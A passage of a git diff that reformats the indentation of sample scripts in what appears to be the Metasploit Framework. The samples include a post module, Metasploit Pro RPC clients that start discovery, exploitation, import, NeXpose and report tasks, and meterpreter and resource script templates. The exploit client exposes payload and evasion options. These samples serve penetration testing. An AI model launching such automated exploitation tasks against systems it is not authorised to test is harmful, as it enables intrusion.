%q{Sample Post Module}, + 'License' => MSF_LICENSE, + 'Author' => [ 'sinn3r'], + 'Platform' => [ 'win'], + 'SessionTypes' => [ "shell", "meterpreter" ] + )) + end - # - # This post module runs a ipconfig command and returns the output - # - def run - print_status("Executing ipconfig on remote machine") - o = cmd_exec("ipconfig") - print_line(o) - end + # + # This post module runs a ipconfig command and returns the output + # + def run + print_status("Executing ipconfig on remote machine") + o = cmd_exec("ipconfig") + print_line(o) + end end \ No newline at end of file diff --git a/documentation/samples/pro/msfrpc_pro_discover.rb b/documentation/samples/pro/msfrpc_pro_discover.rb index 2a4aa48a38..0613440855 100644 --- a/documentation/samples/pro/msfrpc_pro_discover.rb +++ b/documentation/samples/pro/msfrpc_pro_discover.rb @@ -5,19 +5,19 @@ require 'msfrpc-client' require 'rex/ui' def usage(ropts) - $stderr.puts ropts + $stderr.puts ropts - if @rpc and @rpc.token - wspaces = @rpc.call("pro.workspaces") rescue {} - if wspaces.keys.length > 0 - $stderr.puts "Active Projects:" - wspaces.each_pair do |k,v| - $stderr.puts "\t#{k}" - end - end - end - $stderr.puts "" - exit(1) + if @rpc and @rpc.token + wspaces = @rpc.call("pro.workspaces") rescue {} + if wspaces.keys.length > 0 + $stderr.puts "Active Projects:" + wspaces.each_pair do |k,v| + $stderr.puts "\t#{k}" + end + end + end + $stderr.puts "" + exit(1) end opts = {} @@ -27,88 +27,88 @@ parser = Msf::RPC::Client.option_parser(opts) parser.separator('Discover Mandatory Options:') parser.on("--project PROJECT") do |x| - opts[:project] = x + opts[:project] = x end parser.on("--targets TARGETS") do |x| - opts[:targets] = [x] + opts[:targets] = [x] end parser.on("--blacklist BLACKLIST (optional)") do |x| - opts[:blacklist] = x + opts[:blacklist] = x end parser.on("--speed SPEED (optional)") do |x| - opts[:speed] = x + opts[:speed] = x end parser.on("--extra-ports PORTS (optional)") do |x| - opts[:extra_ports] = x + opts[:extra_ports] = x end parser.on("--blacklist-ports PORTS (optional)") do |x| - opts[:blacklist_ports] = x + opts[:blacklist_ports] = x end parser.on("--custom-ports PORTS (optional)") do |x| - opts[:custom_ports] = x + opts[:custom_ports] = x end parser.on("--portscan-timeout TIMEOUT (optional)") do |x| - opts[:portscan_timeout] = x + opts[:portscan_timeout] = x end parser.on("--source-port PORT (optional)") do |x| - opts[:source_port] = x + opts[:source_port] = x end parser.on("--custom-nmap-options OPTIONS (optional)") do |x| - opts[:custom_nmap_options] = x + opts[:custom_nmap_options] = x end parser.on("--disable-udp-probes (optional)") do - opts[:disable_udp_probes] = true + opts[:disable_udp_probes] = true end parser.on("--disable-finger-users (optional)") do - opts[:disable_finger_users] = true + opts[:disable_finger_users] = true end parser.on("--disable-snmp-scan (optional)") do - opts[:disable_snmp_scan] = true + opts[:disable_snmp_scan] = true end parser.on("--disable-service-identification (optional)") do - opts[:disable_service_identification] = true + opts[:disable_service_identification] = true end parser.on("--smb-user USER (optional)") do |x| - opts[:smb_user] = x + opts[:smb_user] = x end parser.on("--smb-pass PASS (optional)") do |x| - opts[:smb_pass] = x + opts[:smb_pass] = x end parser.on("--smb-domain DOMAIN (optional)") do |x| - opts[:smb_domain] = x + opts[:smb_domain] = x end parser.on("--dry-run (optional)") do - opts[:dry_run] = true + opts[:dry_run] = true end parser.on("--single-scan (optional)") do - opts[:single_scan] = true + opts[:single_scan] = true end parser.on("--fast-detect (optional)") do - opts[:fast_detect] = true + opts[:fast_detect] = true end parser.on("--help") do - $stderr.puts parser - exit(1) + $stderr.puts parser + exit(1) end parser.separator('') @@ -117,9 +117,9 @@ parser.parse!(ARGV) @rpc = Msf::RPC::Client.new(opts) if not @rpc.token - $stderr.puts "Error: Invalid RPC server options specified" - $stderr.puts parser - exit(1) + $stderr.puts "Error: Invalid RPC server options specified" + $stderr.puts parser + exit(1) end # Provide default values for certain options - If there's no alternative set @@ -149,59 +149,59 @@ user = @rpc.call("pro.default_admin_user")['username'] # Create the task object with all options task = @rpc.call("pro.start_discover", { - 'workspace' => project, - 'username' => user, - 'ips' => targets, - 'DS_BLACKLIST_HOSTS' => blacklist, - 'DS_PORTSCAN_SPEED' => speed, - 'DS_PORTS_EXTRA' => extra_ports, - 'DS_PORTS_BLACKLIST' => blacklist_ports, - 'DS_PORTS_CUSTOM' => custom_ports, - 'DS_PORTSCAN_TIMEOUT' => portscan_timeout, - 'DS_PORTSCAN_SOURCE_PORT' => source_port, - 'DS_CustomNmap' => custom_nmap_options, - 'DS_UDP_PROBES' => disable_udp_probes, - 'DS_FINGER_USERS' => disable_finger_users, - 'DS_SNMP_SCAN' => disable_snmp_scan, - 'DS_IDENTIFY_SERVICES' => disable_service_identification, - 'DS_SMBUser' => smb_user, - 'DS_SMBPass' => smb_pass, - 'DS_SMBDomain' => smb_domain, - 'DS_SINGLE_SCAN' => single_scan, - 'DS_FAST_DETECT' => fast_detect + 'workspace' => project, + 'username' => user, + 'ips' => targets, + 'DS_BLACKLIST_HOSTS' => blacklist, + 'DS_PORTSCAN_SPEED' => speed, + 'DS_PORTS_EXTRA' => extra_ports, + 'DS_PORTS_BLACKLIST' => blacklist_ports, + 'DS_PORTS_CUSTOM' => custom_ports, + 'DS_PORTSCAN_TIMEOUT' => portscan_timeout, + 'DS_PORTSCAN_SOURCE_PORT' => source_port, + 'DS_CustomNmap' => custom_nmap_options, + 'DS_UDP_PROBES' => disable_udp_probes, + 'DS_FINGER_USERS' => disable_finger_users, + 'DS_SNMP_SCAN' => disable_snmp_scan, + 'DS_IDENTIFY_SERVICES' => disable_service_identification, + 'DS_SMBUser' => smb_user, + 'DS_SMBPass' => smb_pass, + 'DS_SMBDomain' => smb_domain, + 'DS_SINGLE_SCAN' => single_scan, + 'DS_FAST_DETECT' => fast_detect }) puts "DEBUG: Running task with #{task.inspect}" if not task['task_id'] - $stderr.puts "[-] Error starting the task: #{task.inspect}" - exit(0) + $stderr.puts "[-] Error starting the task: #{task.inspect}" + exit(0) end puts "[*] Creating Task ID #{task['task_id']}..." while true - select(nil, nil, nil, 0.50) + select(nil, nil, nil, 0.50) - stat = @rpc.call("pro.task_status", task['task_id']) + stat = @rpc.call("pro.task_status", task['task_id']) - if stat['status'] == 'invalid' - $stderr.puts "[-] Error checking task status" - exit(0) - end + if stat['status'] == 'invalid' + $stderr.puts "[-] Error checking task status" + exit(0) + end - info = stat[ task['task_id'] ] + info = stat[ task['task_id'] ] - if not info - $stderr.puts "[-] Error finding the task" - exit(0) - end + if not info + $stderr.puts "[-] Error finding the task" + exit(0) + end - if info['status'] == "error" - $stderr.puts "[-] Error generating report: #{info['error']}" - exit(0) - end + if info['status'] == "error" + $stderr.puts "[-] Error generating report: #{info['error']}" + exit(0) + end - break if info['progress'] == 100 + break if info['progress'] == 100 end $stdout.puts "[+] Task Complete!" diff --git a/documentation/samples/pro/msfrpc_pro_exploit.rb b/documentation/samples/pro/msfrpc_pro_exploit.rb index bc3b3fc573..c24dc1b8c6 100644 --- a/documentation/samples/pro/msfrpc_pro_exploit.rb +++ b/documentation/samples/pro/msfrpc_pro_exploit.rb @@ -5,19 +5,19 @@ require 'msfrpc-client' require 'rex/ui' def usage(ropts) - $stderr.puts ropts + $stderr.puts ropts - if @rpc and @rpc.token - wspaces = @rpc.call("pro.workspaces") rescue {} - if wspaces.keys.length > 0 - $stderr.puts "Active Projects:" - wspaces.each_pair do |k,v| - $stderr.puts "\t#{k}" - end - end - end - $stderr.puts "" - exit(1) + if @rpc and @rpc.token + wspaces = @rpc.call("pro.workspaces") rescue {} + if wspaces.keys.length > 0 + $stderr.puts "Active Projects:" + wspaces.each_pair do |k,v| + $stderr.puts "\t#{k}" + end + end + end + $stderr.puts "" + exit(1) end opts = {} @@ -43,88 +43,88 @@ parser = Msf::RPC::Client.option_parser(opts) parser.separator('Exploit Specific Options:') parser.on("--project PROJECT") do |x| - opts[:project] = x + opts[:project] = x end parser.on("--targets TARGETS") do |x| - opts[:targets] = x + opts[:targets] = x end parser.on("--speed SPEED") do |x| - opts[:speed] = x + opts[:speed] = x end parser.on("--minimum-rank RANK") do |x| - opts[:rank] = x + opts[:rank] = x end parser.on("--blacklist BLACKLIST (optional)") do |x| - opts[:blacklist] = x + opts[:blacklist] = x end parser.on("--whitelist-ports PORTS (optional)") do |x| - opts[:whitelist_ports] = x + opts[:whitelist_ports] = x end parser.on("--blacklist-ports PORTS (optional)") do |x| - opts[:blacklist_ports] = x + opts[:blacklist_ports] = x end parser.on("--exploit-timeout TIMEOUT (optional)") do |x| - opts[:exploit_timeout] = x + opts[:exploit_timeout] = x end parser.on("--limit-sessions (optional)") do |x| - opts[:limit_sessions] = (x =~ /^(y|t|1)/i ? true : false ) + opts[:limit_sessions] = (x =~ /^(y|t|1)/i ? true : false ) end parser.on("--ignore-fragile-devices (optional)") do |x| - opts[:ignore_fragile_devices] = (x =~ /^(y|t|1)/i ? true : false ) + opts[:ignore_fragile_devices] = (x =~ /^(y|t|1)/i ? true : false ) end parser.on("--filter-by-os (optional)") do |x| - opts[:filter_by_os] = (x =~ /^(y|t|1)/i ? true : false ) + opts[:filter_by_os] = (x =~ /^(y|t|1)/i ? true : false ) end parser.on("--dry-run (optional)") do |x| - opts[:only_match] = (x =~ /^(y|t|1)/i ? true : false ) + opts[:only_match] = (x =~ /^(y|t|1)/i ? true : false ) end parser.on("--match-vulns (optional)") do |x| - opts[:match_vulns] = (x =~ /^(y|t|1)/i ? true : false ) + opts[:match_vulns] = (x =~ /^(y|t|1)/i ? true : false ) end parser.on("--match-ports (optional)") do |x| - opts[:match_ports] = (x =~ /^(y|t|1)/i ? true : false ) + opts[:match_ports] = (x =~ /^(y|t|1)/i ? true : false ) end parser.on("--payload-method AUTO|REVERSE|BIND (optional)") do |x| - opts[:payload_method] = x + opts[:payload_method] = x end parser.on("--payload-type METERPRETER|SHELL (optional)") do |x| - opts[:payload_type] = x + opts[:payload_type] = x end parser.on("--payload-ports PORTS (optional)") do |x| - opts[:payload_ports] = x + opts[:payload_ports] = x end parser.on("--evasion-level-tcp LEVEL (optional)") do |x| - opts[:evasion_level_tcp] = x + opts[:evasion_level_tcp] = x end parser.on("--evasion-level-app LEVEL (optional)") do |x| - opts[:evasion_level_app] = x + opts[:evasion_level_app] = x end parser.on("--module-filter FILTER (optional)") do |x| - opts[:module_filter] = x + opts[:module_filter] = x end parser.on("--help") do - $stderr.puts parser - exit(1) + $stderr.puts parser + exit(1) end parser.separator('') @@ -133,9 +133,9 @@ parser.parse!(ARGV) @rpc = Msf::RPC::Client.new(opts) if not @rpc.token - $stderr.puts "Error: Invalid RPC server options specified" - $stderr.puts parser - exit(1) + $stderr.puts "Error: Invalid RPC server options specified" + $stderr.puts parser + exit(1) end # Store the user's settings @@ -166,60 +166,60 @@ user = @rpc.call("pro.default_admin_user")['username'] # Create the task object with all options task = @rpc.call("pro.start_exploit", { - 'workspace' => project, - 'username' => user, - 'DS_WHITELIST_HOSTS' => targets, - 'DS_BLACKLIST_HOSTS' => blacklist, - 'DS_WHITELIST_PORTS' => whitelist_ports, - 'DS_BLACKLIST_PORTS' => blacklist_ports, - 'DS_MinimumRank' => rank, - 'DS_EXPLOIT_SPEED' => speed, - 'DS_EXPLOIT_TIMEOUT' => exploit_timeout, - 'DS_LimitSessions' => limit_sessions, - 'DS_IgnoreFragileDevices' => ignore_fragile_devices, - 'DS_FilterByOS' => filter_by_os, - 'DS_OnlyMatch' => only_match, - 'DS_MATCH_VULNS' => match_vulns, - 'DS_MATCH_PORTS' => match_ports, - 'DS_PAYLOAD_METHOD' => payload_method, - 'DS_PAYLOAD_TYPE' => payload_type, - 'DS_PAYLOAD_PORTS' => payload_ports, - 'DS_EVASION_LEVEL_TCP' => evasion_level_tcp, - 'DS_EVASION_LEVEL_APP' => evasion_level_app, - 'DS_ModuleFilter' => module_filter + 'workspace' => project, + 'username' => user, + 'DS_WHITELIST_HOSTS' => targets, + 'DS_BLACKLIST_HOSTS' => blacklist, + 'DS_WHITELIST_PORTS' => whitelist_ports, + 'DS_BLACKLIST_PORTS' => blacklist_ports, + 'DS_MinimumRank' => rank, + 'DS_EXPLOIT_SPEED' => speed, + 'DS_EXPLOIT_TIMEOUT' => exploit_timeout, + 'DS_LimitSessions' => limit_sessions, + 'DS_IgnoreFragileDevices' => ignore_fragile_devices, + 'DS_FilterByOS' => filter_by_os, + 'DS_OnlyMatch' => only_match, + 'DS_MATCH_VULNS' => match_vulns, + 'DS_MATCH_PORTS' => match_ports, + 'DS_PAYLOAD_METHOD' => payload_method, + 'DS_PAYLOAD_TYPE' => payload_type, + 'DS_PAYLOAD_PORTS' => payload_ports, + 'DS_EVASION_LEVEL_TCP' => evasion_level_tcp, + 'DS_EVASION_LEVEL_APP' => evasion_level_app, + 'DS_ModuleFilter' => module_filter }) puts "DEBUG: Running task with #{task.inspect}" if not task['task_id'] - $stderr.puts "[-] Error starting the task: #{task.inspect}" - exit(0) + $stderr.puts "[-] Error starting the task: #{task.inspect}" + exit(0) end puts "[*] Creating Task ID #{task['task_id']}..." while true - select(nil, nil, nil, 0.50) + select(nil, nil, nil, 0.50) - stat = @rpc.call("pro.task_status", task['task_id']) + stat = @rpc.call("pro.task_status", task['task_id']) - if stat['status'] == 'invalid' - $stderr.puts "[-] Error checking task status" - exit(0) - end + if stat['status'] == 'invalid' + $stderr.puts "[-] Error checking task status" + exit(0) + end - info = stat[ task['task_id'] ] + info = stat[ task['task_id'] ] - if not info - $stderr.puts "[-] Error finding the task" - exit(0) - end + if not info + $stderr.puts "[-] Error finding the task" + exit(0) + end - if info['status'] == "error" - $stderr.puts "[-] Error generating report: #{info['error']}" - exit(0) - end + if info['status'] == "error" + $stderr.puts "[-] Error generating report: #{info['error']}" + exit(0) + end - break if info['progress'] == 100 + break if info['progress'] == 100 end $stdout.puts "[+] Task Complete!" diff --git a/documentation/samples/pro/msfrpc_pro_import.rb b/documentation/samples/pro/msfrpc_pro_import.rb index d451fb76c6..b7c2c07604 100644 --- a/documentation/samples/pro/msfrpc_pro_import.rb +++ b/documentation/samples/pro/msfrpc_pro_import.rb @@ -5,18 +5,18 @@ require 'msfrpc-client' require 'rex/ui' def usage(ropts) - $stderr.puts ropts + $stderr.puts ropts - if @rpc and @rpc.token - wspaces = @rpc.call("pro.workspaces") rescue {} - if wspaces.keys.length > 0 - $stderr.puts "Active Projects:" - wspaces.each_pair do |k,v| - $stderr.puts "\t#{k}" - end - end - end - exit(1) + if @rpc and @rpc.token + wspaces = @rpc.call("pro.workspaces") rescue {} + if wspaces.keys.length > 0 + $stderr.puts "Active Projects:" + wspaces.each_pair do |k,v| + $stderr.puts "\t#{k}" + end + end + end + exit(1) end opts = {} @@ -26,16 +26,16 @@ parser = Msf::RPC::Client.option_parser(opts) parser.separator('Task Options:') parser.on("--path PATH") do |path| - opts[:path] = path + opts[:path] = path end parser.on("--project PROJECT") do |project| - opts[:project] = project + opts[:project] = project end parser.on("--help") do - $stderr.puts parser - exit(1) + $stderr.puts parser + exit(1) end parser.separator('') @@ -43,49 +43,49 @@ parser.parse!(ARGV) @rpc = Msf::RPC::Client.new(opts) if not @rpc.token - $stderr.puts "Error: Invalid RPC server options specified" - $stderr.puts parser - exit(1) + $stderr.puts "Error: Invalid RPC server options specified" + $stderr.puts parser + exit(1) end project = opts[:project] || usage(parser) path = opts[:path] || usage(parser) user = @rpc.call("pro.default_admin_user")['username'] task = @rpc.call("pro.start_import", { - 'workspace' => project, - 'username' => user, - 'DS_PATH' => path + 'workspace' => project, + 'username' => user, + 'DS_PATH' => path }) if not task['task_id'] - $stderr.puts "[-] Error starting the task: #{task.inspect}" - exit(0) + $stderr.puts "[-] Error starting the task: #{task.inspect}" + exit(0) end puts "[*] Creating Task ID #{task['task_id']}..." while true - select(nil, nil, nil, 0.50) + select(nil, nil, nil, 0.50) - stat = @rpc.call("pro.task_status", task['task_id']) + stat = @rpc.call("pro.task_status", task['task_id']) - if stat['status'] == 'invalid' - $stderr.puts "[-] Error checking task status" - exit(0) - end + if stat['status'] == 'invalid' + $stderr.puts "[-] Error checking task status" + exit(0) + end - info = stat[ task['task_id'] ] + info = stat[ task['task_id'] ] - if not info - $stderr.puts "[-] Error finding the task" - exit(0) - end + if not info + $stderr.puts "[-] Error finding the task" + exit(0) + end - if info['status'] == "error" - $stderr.puts "[-] Error generating report: #{info['error']}" - exit(0) - end + if info['status'] == "error" + $stderr.puts "[-] Error generating report: #{info['error']}" + exit(0) + end - break if info['progress'] == 100 + break if info['progress'] == 100 end $stdout.puts "[+] Task Complete!" diff --git a/documentation/samples/pro/msfrpc_pro_nexpose.rb b/documentation/samples/pro/msfrpc_pro_nexpose.rb index aa9d626723..4f6e1cb963 100644 --- a/documentation/samples/pro/msfrpc_pro_nexpose.rb +++ b/documentation/samples/pro/msfrpc_pro_nexpose.rb @@ -5,19 +5,19 @@ require 'msfrpc-client' require 'rex/ui' def usage(ropts) - $stderr.puts ropts + $stderr.puts ropts - if @rpc and @rpc.token - wspaces = @rpc.call("pro.workspaces") rescue {} - if wspaces.keys.length > 0 - $stderr.puts "Active Projects:" - wspaces.each_pair do |k,v| - $stderr.puts "\t#{k}" - end - end - end - $stderr.puts "" - exit(1) + if @rpc and @rpc.token + wspaces = @rpc.call("pro.workspaces") rescue {} + if wspaces.keys.length > 0 + $stderr.puts "Active Projects:" + wspaces.each_pair do |k,v| + $stderr.puts "\t#{k}" + end + end + end + $stderr.puts "" + exit(1) end opts = {} @@ -27,44 +27,44 @@ parser = Msf::RPC::Client.option_parser(opts) parser.separator('NeXpose Specific Options:') parser.on("--project PROJECT") do |x| - opts[:project] = x + opts[:project] = x end parser.on("--targets TARGETS") do |x| - opts[:targets] = [x] + opts[:targets] = [x] end parser.on("--nexpose-host HOST") do |x| - opts[:nexpose_host] = x + opts[:nexpose_host] = x end parser.on("--nexpose-user USER") do |x| - opts[:nexpose_user] = x + opts[:nexpose_user] = x end parser.on("--nexpose-pass PASSWORD") do |x| - opts[:nexpose_pass] = x + opts[:nexpose_pass] = x end parser.on("--nexpose-pass-file PATH") do |x| - opts[:nexpose_pass_file] = x + opts[:nexpose_pass_file] = x end parser.on("--scan-template TEMPLATE (optional)") do |x| - opts[:scan_template] = x + opts[:scan_template] = x end parser.on("--nexpose-port PORT (optional)") do |x| - opts[:nexpose_port] = x + opts[:nexpose_port] = x end parser.on("--blacklist BLACKLIST (optional)") do |x| - opts[:blacklist] = x + opts[:blacklist] = x end parser.on("--help") do - $stderr.puts parser - exit(1) + $stderr.puts parser + exit(1) end parser.separator('') @@ -73,16 +73,16 @@ parser.parse!(ARGV) @rpc = Msf::RPC::Client.new(opts) if not @rpc.token - $stderr.puts "Error: Invalid RPC server options specified" - $stderr.puts parser - exit(1) + $stderr.puts "Error: Invalid RPC server options specified" + $stderr.puts parser + exit(1) end # Get the password from the file if opts[:nexpose_pass_file] - nexpose_pass = File.open(opts[:nexpose_pass_file],"r").read.chomp! + nexpose_pass = File.open(opts[:nexpose_pass_file],"r").read.chomp! else - nexpose_pass = opts[:nexpose_pass] || usage(parser) + nexpose_pass = opts[:nexpose_pass] || usage(parser) end # Store the user's settings @@ -98,14 +98,14 @@ scan_template = opts[:scan_template] || "pentest-audit" user = @rpc.call("pro.default_admin_user")['username'] options = { - 'workspace' => project, - 'username' => user, - 'DS_WHITELIST_HOSTS' => targets, - 'DS_NEXPOSE_HOST' => nexpose_host, - 'DS_NEXPOSE_PORT' => nexpose_port, - 'DS_NEXPOSE_USER' => nexpose_user, - 'nexpose_pass' => nexpose_pass, - 'DS_SCAN_TEMPLATE' => scan_template + 'workspace' => project, + 'username' => user, + 'DS_WHITELIST_HOSTS' => targets, + 'DS_NEXPOSE_HOST' => nexpose_host, + 'DS_NEXPOSE_PORT' => nexpose_port, + 'DS_NEXPOSE_USER' => nexpose_user, + 'nexpose_pass' => nexpose_pass, + 'DS_SCAN_TEMPLATE' => scan_template } puts "DEBUG: Running task with #{options}" @@ -115,34 +115,34 @@ task = @rpc.call("pro.start_exploit", options) if not task['task_id'] - $stderr.puts "[-] Error starting the task: #{task.inspect}" - exit(0) + $stderr.puts "[-] Error starting the task: #{task.inspect}" + exit(0) end puts "[*] Creating Task ID #{task['task_id']}..." while true - select(nil, nil, nil, 0.50) + select(nil, nil, nil, 0.50) - stat = @rpc.call("pro.task_status", task['task_id']) + stat = @rpc.call("pro.task_status", task['task_id']) - if stat['status'] == 'invalid' - $stderr.puts "[-] Error checking task status" - exit(0) - end + if stat['status'] == 'invalid' + $stderr.puts "[-] Error checking task status" + exit(0) + end - info = stat[ task['task_id'] ] + info = stat[ task['task_id'] ] - if not info - $stderr.puts "[-] Error finding the task" - exit(0) - end + if not info + $stderr.puts "[-] Error finding the task" + exit(0) + end - if info['status'] == "error" - $stderr.puts "[-] Error generating report: #{info['error']}" - exit(0) - end + if info['status'] == "error" + $stderr.puts "[-] Error generating report: #{info['error']}" + exit(0) + end - break if info['progress'] == 100 + break if info['progress'] == 100 end $stdout.puts "[+] Task Complete!" diff --git a/documentation/samples/pro/msfrpc_pro_report.rb b/documentation/samples/pro/msfrpc_pro_report.rb index 824449519c..6095a8d7bb 100644 --- a/documentation/samples/pro/msfrpc_pro_report.rb +++ b/documentation/samples/pro/msfrpc_pro_report.rb @@ -6,43 +6,43 @@ require 'msfrpc-client' require 'rex/ui' def usage(ropts) - $stderr.puts ropts + $stderr.puts ropts - if @rpc and @rpc.token - wspaces = @rpc.call("pro.workspaces") rescue {} - if wspaces.keys.length > 0 - $stderr.puts "Active Projects:" - wspaces.each_pair do |k,v| - $stderr.puts "\t#{k}" - end - end - end - $stderr.puts "" - exit(1) + if @rpc and @rpc.token + wspaces = @rpc.call("pro.workspaces") rescue {} + if wspaces.keys.length > 0 + $stderr.puts "Active Projects:" + wspaces.each_pair do |k,v| + $stderr.puts "\t#{k}" + end + end + end + $stderr.puts "" + exit(1) end opts = { - :format => 'PDF' + :format => 'PDF' } parser = Msf::RPC::Client.option_parser(opts) parser.separator('Report Options:') parser.on("--format FORMAT") do |v| - opts[:format] = v.upcase + opts[:format] = v.upcase end parser.on("--project PROJECT") do |v| - opts[:project] = v + opts[:project] = v end parser.on("--output OUTFILE") do |v| - opts[:output] = v + opts[:output] = v end parser.on("--help") do - $stderr.puts parser - exit(1) + $stderr.puts parser + exit(1) end parser.separator('') @@ -50,9 +50,9 @@ parser.parse!(ARGV) @rpc = Msf::RPC::Client.new(opts) if not @rpc.token - $stderr.puts "Error: Invalid RPC server options specified" - $stderr.puts parser - exit(1) + $stderr.puts "Error: Invalid RPC server options specified" + $stderr.puts parser + exit(1) end project = opts[:project] || usage(parser) @@ -61,66 +61,66 @@ rtype = opts[:format] user = @rpc.call("pro.default_admin_user")['username'] task = @rpc.call("pro.start_report", { - 'DS_WHITELIST_HOSTS' => "", - 'DS_BLACKLIST_HOSTS' => "", - 'workspace' => project, - 'username' => user, - 'DS_MaskPasswords' => false, - 'DS_IncludeTaskLog' => false, - 'DS_JasperDisplaySession' => true, - 'DS_JasperDisplayCharts' => true, - 'DS_LootExcludeScreenshots' => false, - 'DS_LootExcludePasswords' => false, - 'DS_JasperTemplate' => "msfxv3.jrxml", - 'DS_REPORT_TYPE' => rtype.upcase, - 'DS_UseJasper' => true, - 'DS_UseCustomReporting' => true, - 'DS_JasperProductName' => "Metasploit Pro", - 'DS_JasperDbEnv' => "production", - 'DS_JasperLogo' => '', - 'DS_JasperDisplaySections' => "1,2,3,4,5,6,7,8", - 'DS_EnablePCIReport' => true, - 'DS_EnableFISMAReport' => true, - 'DS_JasperDisplayWeb' => true, + 'DS_WHITELIST_HOSTS' => "", + 'DS_BLACKLIST_HOSTS' => "", + 'workspace' => project, + 'username' => user, + 'DS_MaskPasswords' => false, + 'DS_IncludeTaskLog' => false, + 'DS_JasperDisplaySession' => true, + 'DS_JasperDisplayCharts' => true, + 'DS_LootExcludeScreenshots' => false, + 'DS_LootExcludePasswords' => false, + 'DS_JasperTemplate' => "msfxv3.jrxml", + 'DS_REPORT_TYPE' => rtype.upcase, + 'DS_UseJasper' => true, + 'DS_UseCustomReporting' => true, + 'DS_JasperProductName' => "Metasploit Pro", + 'DS_JasperDbEnv' => "production", + 'DS_JasperLogo' => '', + 'DS_JasperDisplaySections' => "1,2,3,4,5,6,7,8", + 'DS_EnablePCIReport' => true, + 'DS_EnableFISMAReport' => true, + 'DS_JasperDisplayWeb' => true, }) if not task['task_id'] - $stderr.puts "[-] Error generating the report: #{task.inspect}" - exit(0) + $stderr.puts "[-] Error generating the report: #{task.inspect}" + exit(0) end puts "[*] Report is generating with Task ID #{task['task_id']}..." while true - select(nil, nil, nil, 0.50) - stat = @rpc.call("pro.task_status", task['task_id']) - if stat['status'] == 'invalid' - $stderr.puts "[-] Error checking task status" - exit(0) - end + select(nil, nil, nil, 0.50) + stat = @rpc.call("pro.task_status", task['task_id']) + if stat['status'] == 'invalid' + $stderr.puts "[-] Error checking task status" + exit(0) + end - info = stat[ task['task_id'] ] + info = stat[ task['task_id'] ] - if not info - $stderr.puts "[-] Error finding the task" - exit(0) - end + if not info + $stderr.puts "[-] Error finding the task" + exit(0) + end - if info['status'] == "error" - $stderr.puts "[-] Error generating report: #{info['error']}" - exit(0) - end + if info['status'] == "error" + $stderr.puts "[-] Error generating report: #{info['error']}" + exit(0) + end - break if info['progress'] == 100 + break if info['progress'] == 100 end report = @rpc.call('pro.report_download_by_task', task['task_id']) if report and report['data'] - ::File.open(fname, "wb") do |fd| - fd.write(report['data']) - end - $stderr.puts "[-] Report saved to #{::File.expand_path(fname)}" + ::File.open(fname, "wb") do |fd| + fd.write(report['data']) + end + $stderr.puts "[-] Report saved to #{::File.expand_path(fname)}" else - $stderr.puts "[-] Error downloading report: #{report.inspect}" + $stderr.puts "[-] Error downloading report: #{report.inspect}" end diff --git a/documentation/samples/scripts/meterpreter_script_template.rb b/documentation/samples/scripts/meterpreter_script_template.rb index e18cea5779..ee2affd11d 100644 --- a/documentation/samples/scripts/meterpreter_script_template.rb +++ b/documentation/samples/scripts/meterpreter_script_template.rb @@ -7,9 +7,9 @@ @client = client sample_option_var = nil @exec_opts = Rex::Parser::Arguments.new( - "-h" => [ false, "Help menu." ], - "-o" => [ true , "Option that requieres a value"] - ) + "-h" => [ false, "Help menu." ], + "-o" => [ true , "Option that requieres a value"] + ) meter_type = client.platform ################## Function Declarations ################## @@ -17,26 +17,26 @@ meter_type = client.platform # Usage Message Function #------------------------------------------------------------------------------- def usage - print_line "Meterpreter Script for INSERT PURPOSE." - print_line(@exec_opts.usage) - raise Rex::Script::Completed + print_line "Meterpreter Script for INSERT PURPOSE." + print_line(@exec_opts.usage) + raise Rex::Script::Completed end # Wrong Meterpreter Version Message Function #------------------------------------------------------------------------------- def wrong_meter_version(meter = meter_type) - print_error("#{meter} version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed + print_error("#{meter} version of Meterpreter is not supported with this Script!") + raise Rex::Script::Completed end ################## Main ################## @exec_opts.parse(args) { |opt, idx, val| - case opt - when "-h" - usage - when "-o" - sample_option_var = val - end + case opt + when "-h" + usage + when "-o" + sample_option_var = val + end } # Check for Version of Meterpreter diff --git a/documentation/samples/scripts/resource_script.rb b/documentation/samples/scripts/resource_script.rb index a9d7fb6a56..8eedf949e5 100644 --- a/documentation/samples/scripts/resource_script.rb +++ b/documentation/samples/scripts/resource_script.rb @@ -15,27 +15,27 @@ # will have to do the trick for now. # def help - msg = %Q| - Description: - Let's describe what this RC script is all about, plus anything the user should know before - actually using it. + msg = %Q| + Description: + Let's describe what this RC script is all about, plus anything the user should know before + actually using it. - Usage: - msfconsole -r + Usage: + msfconsole -r - Options: - - I'm sure you already know - - Username for the database (datastore: 'DB_USER') - - Password for the database (datastore: 'DB_PASS') - - Workspace for the database (datastore: 'DB_WORKSPACE') - - Argument 1 (datastore: 'ARG1') + Options: + - I'm sure you already know + - Username for the database (datastore: 'DB_USER') + - Password for the database (datastore: 'DB_PASS') + - Workspace for the database (datastore: 'DB_WORKSPACE') + - Argument 1 (datastore: 'ARG1') - Authors: - sinn3r - | + Authors: + sinn3r + | - msg = msg.gsub(/^\t/, '') - print_line(msg) + msg = msg.gsub(/^\t/, '') + print_line(msg) end @@ -43,12 +43,12 @@ end # See if we're already connected # def is_db_active? - begin - framework.db.hosts - return true - rescue ::ActiveRecord::ConnectionNotEstablished - return false - end + begin + framework.db.hosts + return true + rescue ::ActiveRecord::ConnectionNotEstablished + return false + end end @@ -57,9 +57,9 @@ end # Default to localhost:5432, as this is the default configuration suggested by the manual. # def init_db(username, password, workspace) - db = "localhost:5432" - print_status("Opening #{workspace} at #{db}") - run_single("db_connect #{username}:#{password}@#{db}/#{workspace}") + db = "localhost:5432" + print_status("Opening #{workspace} at #{db}") + run_single("db_connect #{username}:#{password}@#{db}/#{workspace}") end @@ -67,30 +67,30 @@ end # Initialize the argumets here # def init_args - args = {} + args = {} - joint = ARGV.join('') - if joint =~ /^help$/i - args[:help] = true - return args - end + joint = ARGV.join('') + if joint =~ /^help$/i + args[:help] = true + return args + end - # Add more arguments according to your help() function - datastore = framework.datastore - args[:db_user] = ARGV.shift || datastore['DB_USER'] || '' - args[:db_pass] = ARGV.shift || datastore['DB_PASS'] || '' - args[:db_workspace] = ARGV.shift || datastore['DB_WORKSPACE'] || '' - args[:arg1] = ARGV.shift || datastore['ARG1'] || '' + # Add more arguments according to your help() function + datastore = framework.datastore + args[:db_user] = ARGV.shift || datastore['DB_USER'] || '' + args[:db_pass] = ARGV.shift || datastore['DB_PASS'] || '' + args[:db_workspace] = ARGV.shift || datastore['DB_WORKSPACE'] || '' + args[:arg1] = ARGV.shift || datastore['ARG1'] || '' - if not is_db_active? - if args[:db_user].empty? or args[:db_pass].empty? or 